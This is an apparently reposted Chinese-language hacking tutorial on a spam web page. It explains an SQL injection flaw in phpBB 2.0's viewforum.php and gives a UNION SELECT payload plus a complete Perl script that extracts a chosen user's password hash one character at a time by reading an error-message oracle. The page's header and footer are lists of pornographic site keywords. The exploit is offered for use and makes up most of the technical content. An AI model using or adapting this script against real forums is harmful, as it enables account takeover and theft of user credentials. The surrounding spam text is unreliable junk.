六月婷婷综合激情-六月婷婷综合-六月婷婷在线观看-六月婷婷在线-亚洲黄色在线网站-亚洲黄色在线观看网站

明輝手游網中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

php注入案例

[摘要]php注入實例在網上很難看到一篇完整的關于php注入的文章和利用代碼,于是我自已把mysql和php硬啃了幾個星期,下面說說我的休會吧,希望能拋磚引玉! 相信大家對asp的注入已經是十分熟悉了,而對php的注入比asp要困難,因為php的magic_gpc選項確實讓人頭疼,在注入中不要出現引號,而...

php注入實例在網上很難看到一篇完整的關于php注入的文章和利用代碼,于是我自已把mysql和php硬啃了幾個星期,下面說說我的休會吧,希望能拋磚引玉!
相信大家對asp的注入已經是十分熟悉了,而對php的注入比asp要困難,因為php的magic_gpc選項確實讓人頭疼,在注入中不要出現引號,而php大多和mysql結合,而mysql的功能上的缺點,從另外一人角度看確在一定程度上防止了sql njection的攻擊,我在這里就舉一個實例吧,我以phpbb2.0為例:
在viewforum.php中有一個變量沒過濾:
if ( isset($HTTP_GET_VARS<pOST_FORUM_URL]) ││ isset($HTTP_POST_VARS<pOST_FORUM_URL]) )
{
$forum_id = ( isset($HTTP_GET_VARS<pOST_FORUM_URL]) ) ? intval($HTTP_GET_VARS<pOST_FORUM_URL]): intval

($HTTP_POST_VARS<pOST_FORUM_URL]);
}
else if ( isset($HTTP_GET_VARS['forum']))
{
$forum_id = $HTTP_GET_VARS['forum'];
}
else
{
$forum_id = '';
}
就是這個forum,而下面直接把它放進了查詢中:
if ( !empty($forum_id) )
{
$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id";
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Could not obtain forums information', '', __LINE__, __FILE__, $sql);
}
}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}

如果是asp的話,相信很多人都會注入了.如果這個forum_id指定的論壇不存在的話,就會使$result為空,于是返回Could not obtain forums information的信息,于是下面的代碼就不能執行下去了
//
// If the query doesn't return any rows this isn't a valid forum. Inform
// the user.
//
if ( !($forum_row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}

//
// Start session management
//
$userdata = session_pagestart($user_ip, $forum_id) /****************************************

關鍵就是打星號的那一行了,這里是一個函數session_pagestart($user_ip, $thispage_id),這是在session.php中定義的一個函數,由于代碼太

長,就不全貼出來了,有興趣的可以自已看看,關鍵是這個函數還調用了session_begin(),函數調用如下session_begin($user_id, $user_ip,

$thispage_id, TRUE)),同樣是在這個文件中定義的,其中有如下代碼
$sql = "UPDATE " . SESSIONS_TABLE . "
SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page =

$page_id, session_logged_in = $login
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query($sql)) ││ !$db->sql_affectedrows() )
{
$session_id = md5(uniqid($user_ip));

$sql = "INSERT INTO " . SESSIONS_TABLE . "
(session_id, session_user_id, session_start, session_time, session_ip, session_page,

session_logged_in)
VALUES ('$session_id', $user_id, $current_time, $current_time, '$user_ip', $page_id, $login)";
if ( !($result = $db->sql_query($sql)) )
{
message_die(CRITICAL_ERROR, 'Error creating new session : session_begin', '', __LINE__, __FILE__,

$sql);
}


在這里有個session_page在mysql中定義的是個整形數,他的値$page_id,也就是$forum_id,如果插入的不是整形就會報錯了,就會出現Error

creating new session : session_begin的提示,所以要指這$forum_id的值很重要,所以我把它指定為:-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring(user_password,1,1))=57,沒有引號吧!雖然指定的是一個不存在的forum_id但他返回的查詢結果可不一定是為空,這個就是猜user_id為2的用戶的第一位密碼的ascii碼值是是否為57,如果是的話文章中第一段代碼中的$result可不為空了,于是就執行了ession_pagestart這個有問題的函數,插入的不是整數當然就要出錯了,于是就顯示Error creating new session : session_begin,就表明你猜對了第一位了,其它位類似.

如果沒有這句出錯信息的話我想即使注入成功也很難判斷是否已經成功,看來出錯信息也很有幫助啊.分析就到這里,下面附上一段測試代碼,這段代碼只要稍加修改就能適用于其它類似的猜md5密碼的情況,這里我用的英文版的返回條件,中文和其它語言的只要改一下返回條件就行了.

use HTTP::Request::Common;
use HTTP::Response;
use LWP::UserAgent;
$ua = new LWP::UserAgent;

print " ***********************n";
print " phpbb viewforum.php expn";
print " code by pinkeyesn";
print " www.icehack.comn";
print " ************************n";
print "please enter the weak file's url:n";
print "e.g. http://192.168.1.4/phpBB2/viewforum.phpn";
$adr=<STDIN>;
chomp($adr);
print "please enter the user_id that you want to crackn";
$u=<STDIN>;
chomp($u);
print "work starting,please wait!n";
@pink=(48..57);
@pink=(@pink,97..102);
for($j=1;$j<=32;$j++){
for ($i=0;$i<@pink;$i++){
$url=$adr."?forum=-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%

20user_id=$u%20and%20ord(substring(user_password,$j,1))=$pink[$i]";
$request = HTTP::Request->new('GET', "$url");
$response = $ua->request($request);

if ($response->is_success) {
if ($response->content =~ /Error creating new session/) {
$pwd.=chr($pink[$i]);
print "$pwdn";
}

}
}
}
if ($pwd ne ""){
print "successfully,The password is $pwd,good luckn";}
else{
print "bad luck,work failed!n";}

至于最近的phpbb2.0.6的search.php的問題利用程序只要將上面代碼稍加修改就行了,如要錯誤請上www.icehack.com指正.


標簽:php注入案例 
主站蜘蛛池模板: 四虎国产免费 | 手机看片日韩日韩 | 亚洲 欧美 综合 | 综合88 | 午夜精品福利在线观看 | 中文字幕不卡视频 | 四虎成人免费网站在线 | 天天看有黄有色大片 | 中文字幕天堂最新版在线网 | 永久免费观看午夜视频在线 | 亚洲视频欧洲视频 | 日韩中文字幕在线观看视频 | 日操夜操天天操 | 欧美一级视屏 | 欧美性www| 在线观看亚洲网站 | 色综合色综合色综合色综合 | 日韩精品视频在线 | 午夜在线观看免费观看大全 | 五月婷婷俺也去开心 | 午夜在线日韩免费精品福利 | 涩狠狠狠狠色 | 日韩精品亚洲一级在线观看 | 伊人院 | 一级α片视频 | 亚洲一区二区三区播放在线 | 中文字幕精品一区影音先锋 | 香蕉视频一区 | 天天噜天天干 | 四虎精品国产一区二区三区 | 天天草天天干天天 | 欧洲精品视频在线观看 | 欧美伊人久久大香线蕉在观 | 亚洲男人网站 | 又粗又硬又爽的三级视频在线观看 | 中文字幕日本不卡 | 日韩影院在线观看 | 欧美怡红院免费的全部视频 | 中文字幕欧美在线 | 日韩乱视频 | 小草影院在线观看 |